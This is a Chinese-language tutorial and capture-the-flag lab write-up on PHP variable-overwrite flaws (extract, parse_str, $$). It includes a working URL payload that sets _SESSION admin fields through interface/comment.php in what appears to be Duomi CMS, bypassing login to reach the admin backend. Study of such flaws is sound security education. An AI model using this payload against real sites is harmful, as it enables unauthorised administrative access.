变量覆盖介绍
变量覆盖指的是可以用我们的传参值替换程序原有的变量值(代码从上往下执行,在定义好的变量下面再次定义这个变量就会覆盖原有的变量值),一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。变量覆盖漏洞大多数由函数使用不当导致,$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
Session
客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
寻找漏洞方法
任意定义变量 并且没有过滤SESSION 而且开启了提前session_start 就有可能存在漏洞(黑盒测试基本上做不出来)
函数
extract()
将数组中的键值堆变成变量——把数组变成变量parse_str()
把字符串变成变量$$
双美元符,二次变量
双写$$,如果$a=b
$b=c
那么$$a
=> $b=c
foreach(array(‘_COOKIE’,’_POST’,’_GET’) as $_request)
将数组’_COOKIE’,’_POST’,’_GET’依次循环放入$_request
危害
变量覆盖的漏洞危害主要还是要看代码具体的流程,如果可覆盖掉的变量在后面会进行代码执行,那么他的危害就是代码执行。具体还是要看后面代码具体的作用之类的。特殊的就是课堂上所教的Session覆盖,强行给Seesion赋值。然后拥有管理员权限
靶场实操
先对本地文件进行代码审计,定位这些函数

只有$$能被定位
admin目录下一般都是需要有后台权限,这里忽略掉
一般代码审查中 ||.func.|| ||.class.|| ||.inc.|| 这样的文件往往可能会有用

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
代码执行到这里,就可以通过传参得到变量
要确保不执行上面的if条件,
不能满足$_REQUEST传参的键大于0
键是以cfg和GLOBALS开头且cookie为空
对登录页面抓取数据包


发到了admin/login.php
于是就审计这个文件内容
发现keepUser()
保持用户

session的赋值出现在这里

增加代码,登录就会输出session

如果可以设置session,则就不需要登录也可以给cookie附上值,因为cookie和session是绑定的
session 开启 session_start

这里可以设置
interface/comment.php?
_SESSION[duomi_ckstr]=cqbc&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

退出登录,现在没有权限
对interface/comment.php?
进行传参


直接访问了后台,成功
靶场

要登陆
/interface/comment.php?_SESSION[duomi_ckstr]=cqbc&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
直接传参


成功进入后台

得到flag
如何防御呢???不允许传session就可以达到一定的防御
Comments NOTHING